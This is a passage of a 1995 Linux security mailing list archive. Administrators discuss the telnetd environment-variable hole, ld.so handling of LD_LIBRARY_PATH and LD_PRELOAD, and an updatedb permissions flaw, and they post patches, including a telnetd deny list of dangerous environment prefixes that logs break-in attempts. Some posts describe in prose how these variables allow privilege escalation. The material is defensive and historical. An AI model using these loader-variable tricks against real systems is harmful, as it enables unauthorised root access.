19:05:04 -0500 Received: by server.et-inf.fho-emden.de (5.65/DEC-Ultrix/4.3) id AA02469; Wed, 8 Nov 1995 00:54:42 +0100 Message-Id: <[email protected]> Subject: Re: SSLtelnet patch To: [email protected] (Alan Cox) Date: Wed, 8 Nov 1995 00:54:40 +0100 (MET) From: "Peter Tobias" Cc: [email protected] Reply-To: [email protected] In-Reply-To: from "Alan Cox" at Nov 6, 95 11:39:51 am X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Content-Length: 997 Sender: [email protected] Precedence: list Alan Cox wrote: > > > This patch address the current CERT advisory about the telnet > > vulnerability. It was created under linux using SSLtelnet 0.2. > > Iam not sure what the latest is but here it is anyway. > > You need to change LD_LIBRARY_PATH to whatever is dangerous in your > > OS. > > > No it doesnt. There are other variables you must clear (PRELOAD/ELF/AOUT > only variables) - and if you use login shell scripts for restricted acocunts > IFS. And probably ENV (bash). With ENV you can start a script _before_ it will start the login shell script. With a simple script you can gain access to all such accounts. I changed the telnetd of the Debian distribution to not export ENV. Other distribution maintainers should do the same. Peter -- Peter Tobias EMail: Fachhochschule Ostfriesland [email protected] Fachbereich Elektrotechnik und Informatik [email protected] Constantiaplatz 4, 26723 Emden, Germany From [email protected] Wed Nov 8 23:23:00 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id XAA04846; Wed, 8 Nov 1995 23:19:54 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id XAA04800; Wed, 8 Nov 1995 23:17:36 -0500 Date: Wed, 8 Nov 1995 23:17:36 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: Thread on telnet, $LD_LIBRARY_PATH security problems. X-Quote-I-Like: "If you want to see useful Perl examples, we can certainly arrange to have comp.lang.misc flooded with them, but I don't think that would help the advance of civilization." --Larry Wall. X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- There has been quite a flood of list traffic on this thread, as I'm sure most of you have noticed by now... In order to try to reduce the traffic volume, I am now no longer going to approve posts that solely reiterate fun behavioral aspects of ld.so, strace, telnet, etc., based on such things as setuid and setgid attributes, as well as posts that only say "I can't duplicate this," "I've found this neat trick that I can do with $LD_LIBRARY_PATH," etc. These subjects are really starting to get beaten to death! If you find something that truly looks like a new hole or previously-unmentioned security issue, I'll forward it to the list. But issues that appear to be solely due to buggy behavior from ld.so, $LD_LIBRARY_PATH, and the like, should probably be taken to the [email protected] list, which is concerned with the development of the compilers, libraries, and the like for Linux. Many posts that I have received on this issue appear to have been personal responses to previous posts, with the linux-security list CC:'d on the message. I won't be approving any more of these either--unless they really have some interesting information in them that I think the over 1200 people on the linux-security list would be interested in. - --Up. P.S. Those that remember the early days of these lists probably remember the great shadow password thread that went wild, would not die, and annoyed several people (including some rather prominent ones) to the point that they unsubscribed from the lists. I'm trying to prevent a repeat of that now by tightening the moderation criteria in the same way that I did then. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMKGAy7xzFUpUTHgFAQGnLAP+NU9UnmpDd+DZ3Z6omoLJU6Pbr4qcELfl 51eSeYM2aki3n9MqBD3BLx7iNV7Wv2C1T3DcLeN/oU/PTsungVXQkhoASFHmsJa8 VVbaBRMFJMxvlF5x4ysibauIwW2FS7SqRWJuc7npGjQ4+D52vD4PqUKdppRDGnNI Z7oIgScsAkM= =r3BX -----END PGP SIGNATURE----- -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ From [email protected] Wed Nov 8 23:22:59 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id XAA04863; Wed, 8 Nov 1995 23:20:27 -0500 Received: from dira.bris.ac.uk (dira.bris.ac.uk [137.222.10.41]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id HAA21595; Tue, 7 Nov 1995 07:29:55 -0500 Received: from kukini.cs.bris.ac.uk by dira.bris.ac.uk with SMTP (PP); Tue, 7 Nov 1995 12:10:09 +0000 Received: from kiha by kukini.compsci.bristol.ac.uk id aa02926; 7 Nov 95 12:13 GMT To: [email protected] Subject: Re: telnetd hole In-reply-to: Your message of Mon, 06 Nov 95 15:24:39 -0500. <[email protected]> Date: Tue, 07 Nov 95 12:09:39 +0000 Message-ID: <23472.815746179@kiha> From: David Hedley Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- It seems to me that the crux of the problem lies with what the LD_LIBRARY_PATH (and others) are supposed to do. IMHO LD_LIBRARY_PATH should be used only to specify _additional_ libraries, over and above those given in /etc/ld.so.conf. In this way it wouldn't matter what it was set to as libraries in /lib, /usr/lib etc will always be searched first. After all, the only times you wants to _replace_ the standard library is when you are either cracking the system, or developing a new library. Thoughts? David - -- David Hedley ([email protected]) http://www.cs.bris.ac.uk/~hedley/ finger [email protected] for PGP key Computer Graphics Group | University of Bristol | UK *** All opinions expressed are mine and mine alone *** -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: Processed by Mailcrypt 3.3, an Emacs/PGP interface iQCVAwUBMJ9MRli5qrCO/mUBAQFi/AQAlETQ4cVZ439+RTTjLc/HAgbhDdE2ge+N rqg/4L9mcaM+kzyxIXIrWs4Gc90y4jwm3oyk1j9Y0bd5otvq2ST/azHxDNUVrVrR PkbefZe19oJhdanwEckflZkGt8JEF7o8knrdu6Q0iOzeoXH6zpUMKty/kEM1sD/w B/sl/I2triU= =j22g -----END PGP SIGNATURE----- From [email protected] Wed Nov 8 23:23:01 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id XAA04886; Wed, 8 Nov 1995 23:21:52 -0500 Received: from iiit.swan.ac.uk (iifeak.swan.ac.uk [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id NAA23054; Tue, 7 Nov 1995 13:03:11 -0500 Message-Id: From: [email protected] (Alan Cox) Subject: Re: telnetd shared lib hole To: [email protected] (Jon Lewis) Date: Mon, 6 Nov 1995 11:35:32 +0000 (GMT) Cc: [email protected] In-Reply-To: from "Jon Lewis" at Nov 1, 95 03:53:26 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 648 Sender: [email protected] Precedence: list > Call me silly, but since this hole operates by "secretly replacing your > real libc with Foldgers Crystals libc" and having telnetd use the bogus > libc, would all this be fixed with no need for careful patching / > environment cleaning if we simply compiled telnetd and statically linked > it? Then it would need no shared libs, and you'd be unable to force it to > load a hacked libc...no? > > It may not be an elegant solution...but is it one at all? No. Its telnetd running login that is the problem. A static login helps a lot. Some people are working on a telnetd that has a config file of allowed environment variables to pass. Alan From [email protected] Wed Nov 8 23:27:48 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id XAA04972; Wed, 8 Nov 1995 23:27:33 -0500 Received: from TNET.portage.net (TNET.portage.net [204.112.250.36]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id PAA23889; Tue, 7 Nov 1995 15:04:57 -0500 Received: (from root@localhost) by TNET.portage.net (8.6.12/8.6.9) id OAA10123; Tue, 7 Nov 1995 14:04:42 -0600 Date: Tue, 7 Nov 1995 14:04:41 -0600 (CST) From: SysAdmin - TNET Systems To: Joshua Cowan cc: [email protected] Subject: Re: ld.so gaping hole. In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 7 Nov 1995, Joshua Cowan wrote: > CG> I meant it will not fix the 'ld.so' hole. I don't think you > CG> understand how big this hole is or how much of a problem it > CG> is. > > This is correct, I don't understand how big this ``hole'' is or even > where it is. ;-) I don't think you understand this feature's > implementation, but that doesn't mean you don't. :-) > > CG> 'login', to gain access to this hole. This is what I am > CG> trying to avoid. Any SUID binary on your system can be > CG> exploited this way. > > It (the telnetd hole) has nothing to do with the binary being > suid/sgid. > Aha! =) The answer comes to me: I was using ld.so as distibuted in the slackware 2.3 package from tsx-11. it was not doing the EUID/UID comfirmation. Thusly, I was able to gain root as a non-root user, using any SUID binary. Compiling ld.so 1.5.3 w/o any modications (as issued by Sunsite in the package 'ld.so-1.5.3.tar.gz), I couldnot, any longer,gain root using this method. --- ld.so - 1.5.3 source snippet --- /* hmm, you want your own path, do you? */ if (((cp = getenv("AOUT_LD_LIBRARY_PATH")) && *cp) || ((cp = getenv("LD_LIBRARY_PATH")) && *cp)) { uid_t uid = getuid(); if (uid && (uid != geteuid() || getgid() != getegid())) { /* sorry, Charlie, I can't let you do that */ *cp = '\0'; ------------------------------------ So something was missing / wrong with this code in the ld.so for the slackware 2.3 package, as it was, on tsx-11.mit.edu/pub/linux/distibutions/slackware/* some 3 months ago. My apologies for the alarm. Only SW 2.3 users need be worried. BTW: tsx-11 no longer has 2.3 in the slackware directory. I believe slackware 3.0 is there now. NOTE: this should teach those of us that trust others' binaries to no longer do so. I have long been advocate of this policy, however, I made an exception for ld.so :/ Chad Giffin TNET Information Systems, Canada (204) 857-5754 [email protected] linux-security/1995/linux-security.951109100664 1767 1767 34675 6050550074 17272 0ustar majdommajdomFrom [email protected] Thu Nov 9 11:01:07 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id KAA12234; Thu, 9 Nov 1995 10:43:01 -0500 Received: from i17linuxb.ists.pwr.wroc.pl ([email protected] [156.17.35.8]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id IAA11694; Thu, 9 Nov 1995 08:47:46 -0500 Received: (from marekm@localhost) by i17linuxb.ists.pwr.wroc.pl (8.6.12/8.6.9) id OAA05638; Thu, 9 Nov 1995 14:47:26 +0100 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: Another possible problem with ld.so? To: [email protected], [email protected] Date: Thu, 9 Nov 1995 14:47:23 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1512 Sender: [email protected] Precedence: list This is probably not a big hole by itself, but I think it is worth mentioning. It may, for example, cause security problems with setuid wrapper programs which execute some other programs after setting the real uid to the effective uid, and are not careful enough about the environment. ld.so-1.7.10 does the following when uid != euid: /* sorry, Charlie, I can't let you do that */ if ((cp = getenv("LD_PRELOAD"))) *cp = '\0'; if ((cp = getenv("LD_ELF_PRELOAD"))) *cp = '\0'; if ((cp = getenv("LD_AOUT_PRELOAD"))) *cp = '\0'; ... and so on with LD_LIBRARY_PATH, LD_ELF_LIBRARY_PATH, and LD_AOUT_LIBRARY_PATH. This removes these variables from the environment (replaces them with empty strings). This looks very nice, but what happens if you have these variables defined multiple times? getenv() can only find one string, it will be removed, but the rest will still be there. Now, let's say this is a setuid root wrapper program which executes some command as root after doing setuid(0). If LD_LIBRARY_PATH was defined twice in the environment, it will still be defined (only one string has been removed) and passed to the new program (which will now run with uid == euid so ld.so won't remove dangerous environment strings). Similar problem has been discovered in SunOS some time ago (it has been discussed on bugtraq). It sounds like we need to remove all occurences of LD_xxx etc., not just one. Replacing "if" instructions with "while" loops should do the trick. Marek From [email protected] Thu Nov 9 11:01:07 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id KAA12314; Thu, 9 Nov 1995 10:54:11 -0500 Received: from mason2.gmu.edu (mason2.gmu.edu [129.174.1.11]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id HAA11288; Thu, 9 Nov 1995 07:41:30 -0500 Received: by mason2.gmu.edu; (5.65v3.2/1.1.8.2/07Sep94-1001AM/GMUv1) id AA22344; Thu, 9 Nov 1995 07:41:12 -0500 Date: Thu, 9 Nov 1995 07:41:11 -0500 (EST) From: "Steve \"Stevers!\" Coile" To: [email protected] Subject: Re: telnetd hole In-Reply-To: <23472.815746179@kiha> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 7 Nov 1995, David Hedley wrote: > It seems to me that the crux of the problem lies with what the > LD_LIBRARY_PATH (and others) are supposed to do. > > IMHO LD_LIBRARY_PATH should be used only to specify _additional_ libraries, > over and above those given in /etc/ld.so.conf. In this way it wouldn't > matter what it was set to as libraries in /lib, /usr/lib etc will always be > searched first. After all, the only times you wants to _replace_ the > standard library is when you are either cracking the system, or developing > a new library. There's always the possbility that some user may want to use a custom library because it suits their needs or wants. I'd rather a solution was developed that allowed that to occur, a solution that preserves as many freedoms as possible. The problem, as I understand it, is that the loader will honor the LD_LIBRARY_PATH value when loading privileged programs. Does anyone really object to honoring LD_LIBRARY_PATH when loading unprivileged programs? My preference would be for the loader to follow this algorithm: if ( program is privileged && user is not root ) then ignore LD_LIBRARY_PATH else honor LD_LIBRARY_PATH end if You could even expand it so that: if ( program is privileged ) then if ( program is SUID and program is SGID ) then if ( ( EUID == program owner's UID ) && ( EGID == program owner's GID ) ) then honor LD_LIBRARY_PATH else ignore LD_LIBRARY_PATH fi else if ( program is SUID ) then if ( EUID == program owner's UID ) then honor LD_LIBRARY_PATH else ignore LD_LIBRARY_PATH end if else if ( EGID == program owner's GID ) then honor LD_LIBRARY_PATH else ignore LD_LIBRARY_PATH end if end if else . . . end if [Mod: This is the last post regarding how $LD_LIBRARY_PATH et al. *should* behave that I'm going to forward to linux-security. Follow-ups on this thread should go to the [email protected] list, which is also available via a mail-to-news gateway as the linux.dev.gcc newsgroup (under the linux.* hierarchy, which is now getting fairly good propagation through the "back channels" of USENET). If you would like a feed of the linux.* newsgroups to your site, let me know at [email protected] and I'll try to point you to a nearby site that carries/feeds it. --Jeff] From [email protected] Thu Nov 9 18:43:25 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA15675; Thu, 9 Nov 1995 18:12:08 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA15645; Thu, 9 Nov 1995 18:10:03 -0500 Date: Thu, 9 Nov 1995 18:10:03 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: Slight change in Majordomo server delivery, but don't worry... X-Spook: Waco, Texas battleship counterfeit X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- This is a pseudo-test post due to minor changes that I have made to the linux.nrao.edu Majordomo server's handling of the Linux security lists; I've shifted the final SMTP delivery stage for the lists to another, less loaded, system due to the load that it now puts on my desktop system (the lists have grown quite large). We'll see how this change affects delivery time... I figure that some people might notice the change in the message headers--an extra "Received" header will now be present in most messages--so I'm also letting everyone know that this is to be expected and considered normal. This does not in any way affect interaction with the Majordomo server; subscription activity, digest processing, post submissions/approvals, etc., are all still carried out by the primary server, and no addresses have changed. - --Up. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMKKKRLxzFUpUTHgFAQGOzgP/UZQaeo1Klz2+2xRHAPcFy6CMqbCIdQjc FQ5D5Jt/3DDK/7Dzm7J4nuTH0R58fKJxZXsDi9Mt7dEZo1/i6OyOarPOF0MAt1gs 6pfuCSiJ/LZJ0MaKJH5ws/vrFS6tMij1b6q5NStOHGerj7sbeElFcn2Tsq5SPCoX XYnhrXsv2Wg= =scWw -----END PGP SIGNATURE----- -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ From [email protected] Thu Nov 9 18:59:13 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA16870; Thu, 9 Nov 1995 18:59:12 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA16851; Thu, 9 Nov 1995 18:58:27 -0500 Date: Thu, 9 Nov 1995 18:58:27 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: Re: Slight change in Majordomo server delivery, but don't worry... In-Reply-To: Your message of Thu, November 9, 1995 18:10:03 -0500 References: <[email protected]> X-Quote-I-Like: "Sometime let me tell you about the time I did an unauthorized CPU swap in the control computers at JPL the night before Magellan launched." --Larry Wall. X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- "Up" == Jeff Uphoff writes: Up> This is a pseudo-test post due to minor changes that I have made to Up> the linux.nrao.edu Majordomo server's handling of the Linux security Up> lists; OK, I screwed up with that last one--I didn't update the aliases on the server system to push the traffic to the delivery system. This is now fixed, and *this* message is the test. I need another vacation. - --Up. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMKKViLxzFUpUTHgFAQHnlwP8ClSAe7Bsx8Ha82cCwbNRn56lXR4Noa+i S9zQUbHVtxzycfUiyF+noM3Sw/R+iiSCMmJxonGp+EUhcPBrnSMevD9ocsNNWelf hCE/NZl19AzU4zP6h+XL7XBZFyFka8a7BoL0HqdFYP4mHw8M5OsBf/Oo54j3Fw76 F0gAK+I7Ftw= =3bi5 -----END PGP SIGNATURE----- From [email protected] Thu Nov 9 21:27:47 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id VAA18416; Thu, 9 Nov 1995 21:27:46 -0500 Received: from gateway.esisys.com ([email protected] [155.229.16.138]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id VAA18259; Thu, 9 Nov 1995 21:23:15 -0500 Received: from montag79 (montag79.residence.gatech.edu [199.77.171.11]) by gateway.esisys.com (8.6.10/8.6.10) with SMTP id VAA10682 for ; Thu, 9 Nov 1995 21:23:21 -0500 Date: Thu, 9 Nov 1995 21:23:21 -0500 Message-Id: <[email protected]> X-Sender: [email protected] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: [email protected] From: [email protected] (Jacob Langseth) Subject: Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability X-Mailer: Sender: [email protected] Precedence: list >So I added a few lines to do a syslog dump and close the connection. >If you don't want to close the connection, just remove the exit(1) >statement as noted in the code. WAIT! Do NOT remove the exit(1) unless you also add code to clear the environment variables. If you do not, this will simply log that a hack was attempted and do nothing to prevent it... > for (p1 = p2 = envp; *p1; p1++) { > if (strncmp(*p1, "LD_", 3) != 0 && > strncmp(*p1, "_RLD", 4) != 0 && > strncmp(*p1, "LIBPATH=", 8) != 0 && > strncmp(*p1, "ELF_LD_", 7) != 0 && > strncmp(*p1, "AOUT_LD_", 8) != 0 && > strncmp(*p1, "IFS=", 4) != 0 ) { > *p2++ = *p1; > } > else { > /* here is a break in ??? */ > > syslog(LOG_ALERT, "Breakin attempt: %s", *p1); > for(i=0;i syslog(LOG_ALERT, "Breakin dump: argv[%d] = %s", > i, argv[i]); > /* remove the next line to keep connection open */ > exit(1); > } > } > > *p2 = 0; > execve(_PPATH_LOGIN, argv, envp); > perror(_PPATH_LOGIN); > exit(1); Also, while I'm posting, there is a security flaw with the updatedb command. According to the manpages, updatedb executes as daemon by default (to preserve directory permissions). Unfortunately it fails to set its UID to daemon's before executing the find, and (at least in my Slackware distribution) updatedb is ran via a cronjob as ROOT. This allows anyone using the 'locate' command to view the entire file system. While this isn't a direct security threat, it does effectively negate directory read permissions and should be fixed. To have updatedb to run as daemon: 1) relocate the updatedb command from root's cronjob to daemon's 2) chown -R daemon.daemon /var/spool/locate Musashi -- Jacob Langseth -=-finger for PGP key-=- Enhanced Systems, Inc. email: [email protected] 6961 PeachTree Ind Blvd voice: (404) 662-1504 ext. 684 Norcross, GA 30092 fax: (404) 662-1537 From [email protected] Thu Nov 9 23:08:26 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id XAA19123; Thu, 9 Nov 1995 23:08:26 -0500 Received: from gateway.esisys.com ([email protected] [155.229.16.138]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id WAA18959; Thu, 9 Nov 1995 22:43:56 -0500 Received: from montag79 (montag79.residence.gatech.edu [199.77.171.11]) by gateway.esisys.com (8.6.10/8.6.10) with SMTP id WAA11040 for ; Thu, 9 Nov 1995 22:44:05 -0500 Date: Thu, 9 Nov 1995 22:44:05 -0500 Message-Id: <[email protected]> X-Sender: [email protected] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: [email protected] From: [email protected] (Jacob Langseth) Subject: ATTN! CORRECTION: Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability X-Mailer: Sender: [email protected] Precedence: list [Mod: Edited to remove/change notes that were directed solely toward the moderator(s). --Jeff.] ...In my previous email, I said: > WAIT! Do NOT remove the exit(1) unless you also add code to clear the > environment variables. If you do not, this will simply log that a hack > was attempted and do nothing to prevent it... I was incorrect, my apologies. Please ignore all references to the patch from my post. The information at the end regarding the updatedb security problem is accurate, however. Jacob -- Jacob Langseth -=-finger for PGP key-=- Enhanced Systems, Inc. email: [email protected] 6961 PeachTree Ind Blvd voice: (404) 662-1504 ext. 684 Norcross, GA 30092 fax: (404) 662-1537 linux-security/1995/linux-security.951110100664 1767 1767 36136 6050760307 17256 0ustar majdommajdomFrom [email protected] Fri Nov 10 13:14:44 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA26147; Fri, 10 Nov 1995 13:14:44 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id MAA26051; Fri, 10 Nov 1995 12:56:21 -0500 Date: Fri, 10 Nov 1995 12:56:21 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] (Jacob Langseth) CC: [email protected] Subject: Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability In-Reply-To: Your message of Thu, November 9, 1995 21:23:21 -0500 References: <[email protected]> X-Palindrome: O, memsahib Bart, rabbi has memo. X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list "JL" == Jacob Langseth writes: [Please note that all of my statements/patches are for the 'updatedb' that shipped with the last pre-3.0 (i.e. non-ELF) release of Slackware. --Jeff] JL> Also, while I'm posting, there is a security flaw with the updatedb JL> command. JL> According to the manpages, updatedb executes as daemon by default JL> (to preserve directory permissions). It does execute as "daemon" when searching NFS-mounted directories, if you add any to the search path inside the 'updatedb' script. JL> Unfortunately it fails to set its UID to daemon's before executing JL> the find, and (at least in my Slackware distribution) updatedb is JL> ran via a cronjob as ROOT. This allows anyone using the 'locate' JL> command to view the entire file system. It su's to "daemon" internally before doing the 'find' on NFS-mounted filesystems, but not for locally-mounted FS's. JL> While this isn't a direct security threat, it does effectively negate JL> directory read permissions and should be fixed. JL> To have updatedb to run as daemon: JL> 1) relocate the updatedb command from root's cronjob to daemon's JL> 2) chown -R daemon.daemon /var/spool/locate Or apply this patch, which is a summary of the (incremental) RCS changes that I've made to 'updatedb' against the Slackware distributed script, with some "localisms" (such as search/exclude paths) removed: -----snip snip----- --- updatedb 1995/11/10 16:28:50 1.0 +++ updatedb 1995/11/10 17:38:03 @@ -33,6 +37,7 @@ --netpaths) NETPATHS="$val" ;; --prunepaths) PRUNEPATHS="$val" ;; --output) LOCATE_DB="$val" ;; + --locuser) LOCUSER="$val" ;; --netuser) NETUSER="$val" ;; --old-format) old=yes ;; --version) echo "GNU updatedb version 4.1"; exit 0 ;; @@ -69,8 +74,11 @@ : ${TMPDIR=/usr/tmp} fi +# The user to search local directories as. +: ${LOCUSER=nobody} + # The user to search network directories as. -: ${NETUSER=daemon} +: ${NETUSER=nobody} # The directory containing the subprograms. : ${LIBEXECDIR=/usr/libexec} @@ -94,8 +102,8 @@ # FIXME figure out how to sort null-terminated strings, and use -print0. { if test -n "$SEARCHPATHS"; then - $find $SEARCHPATHS \ - \( -fstype nfs -o -fstype NFS -o -type d -regex "$PRUNEREGEX" \) -prune -o -print + su $LOCUSER -c \ + "$find $SEARCHPATHS \\( -fstype nfs -o -fstype proc -o -fstype msdos -o -fstype iso9660 -o -type d -regex \"$PRUNEREGEX\" \\) -prune -o -print" fi if test -n "$NETPATHS"; then -----snip snip----- This allows you to keep it in root's crontab and leave the database files/directories owned by root. Please note that I run the find's as "nobody" rather than as "daemon." Also, my patch tells it to exclude "proc", "msdos", and "iso9660" FS's since I don't want them in my locator database. --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ From [email protected] Fri Nov 10 13:30:20 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA26239; Fri, 10 Nov 1995 13:30:20 -0500 Received: from jcowan.reslife.okstate.edu ([email protected] [139.78.232.29]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id CAA23495; Fri, 10 Nov 1995 02:50:07 -0500 Received: (from jcowan@localhost) by jcowan.reslife.okstate.edu (8.7/8.7) id BAA15287; Fri, 10 Nov 1995 01:48:34 -0600 Date: Fri, 10 Nov 1995 01:48:34 -0600 Message-Id: <[email protected]> From: Joshua Cowan X-Spook: cryptographic Noriega Cocaine FSF Ft. Meade Waco, Texas X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: JC To: [email protected] (Jacob Langseth) CC: [email protected] Subject: Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability In-Reply-To: <[email protected]> References: <[email protected]> Win-95: ignorance is our most important resource. Sender: [email protected] Precedence: list [Mod: Section regarding Jacob Langseth's mistaken post about the exit(1) call in the syslog-capable login wrapper removed; Jacob has already posted a retraction. --Jeff.] JL> According to the manpages, updatedb executes as daemon by JL> default (to preserve directory permissions). Unfortunately it JL> fails to set its UID to daemon's before executing the find, It only runs as `daemon' when searching network directories: --netuser=user The user to search network directories as, using su(1). Default is daemon. This is the only place that running as daemon is mentioned in the man page that comes with updatedb version 4.1. JL> To have updatedb to run as daemon: JL> 1) relocate the updatedb command from root's cronjob to daemon's JL> 2) chown -R daemon.daemon /var/spool/locate This is correct, but beware if you generate a locate db for network directories: the `su' in the updatedb script will most likely fail. [Mod: The patch to 'updatedb' that I posted today takes this into account; it does su's internally before each find (for both local and NFS filesystems), and thus must be run as root. It also adds a second option, "--locuser=user", which behaves exactly like the "--netuser" option (though I default both to "nobody" vice "daemon"). --Jeff.] -- Joshua Cowan __| I don't want to listen http://hermit.reslife.okstate.edu/~jcowan | but it's all too clear... Computer Engineering Student -- Oklahoma State University -- Stillwater, OK PGP key available from any PGP keyserver or by fingering the above address. From [email protected] Fri Nov 10 18:03:11 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA28095; Fri, 10 Nov 1995 18:03:11 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA28078; Fri, 10 Nov 1995 18:02:45 -0500 Date: Fri, 10 Nov 1995 18:02:45 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: Administrative changes, notes. X-Spook: NORAD FBI unmarked bills X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- In an effort to improve the delivery time for messages to the Linux security lists (which have grown quite large and are now taking hours for one system to deliver), I'm now setting up sendmail.cf rules to attempt to distribute the final SMTP delivery of list messages among different systems, based on destination domains. This message is an initial test of the concept, with the following small rule-set additions in place: # Bump off to our friends. R$*<@$+.us>$* $#esmtp [email protected] $:$1<@$2.us>$3 R$*<@$+.net>$* $#esmtp [email protected] $:$1<@$2.net>$3 R$*<@$+.nl>$* $#esmtp [email protected] $:$1<@$2.nl>$3 (This is being attempted after suggestions/ideas from Roger Wolff and Alex Yuriev .) If this appears to work decently and helps improve delivery times, I'd appreciate volunteers to act as hubs for both top-level domains and for non-top-level domains that have a significant number of subscribers. (I'll post this request when I'm ready to set things up--hopefully within a few days--along with a current top-level domain breakdown of the lists' propagation.) No administrative work should be required at the volunteer sites--you'd just be volunteering the use of your sendmail daemon and some CPU cycles. (I'd prefer to restrict the volunteer pool to systems running v8 sendmail, at least initially, since that's the one that I understand the best myself and could most easily help solve any problems for.) If there's a sendmail guru out there that thinks this is a scheme doomed to failure, or that notices problems with my rule-sets, please drop me e-mail and let me know. :)~ - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMKPaDLxzFUpUTHgFAQEC9QP8DFBqJucom+WPfhhDZdpCy0ND7KyxPdRY R1KKHvLBBNH4Yj0S5J2uP7QvQlRQ1PRFXCL2pQwZoATD4CQ+HWwtjfp+lgZUieOv 2FNtnivnO9117dFdNngMTjJxjXJoJjFfUCLY/l5c3Lb34MGMpqo9e6rpfj3MfOfz D0eiMDUkhc8= =iXQW -----END PGP SIGNATURE----- From [email protected] Fri Nov 10 18:09:25 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA28153; Fri, 10 Nov 1995 18:09:23 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA28136; Fri, 10 Nov 1995 18:08:57 -0500 Date: Fri, 10 Nov 1995 18:08:57 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: Administrative changes, notes. X-Spook: NORAD FBI unmarked bills X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 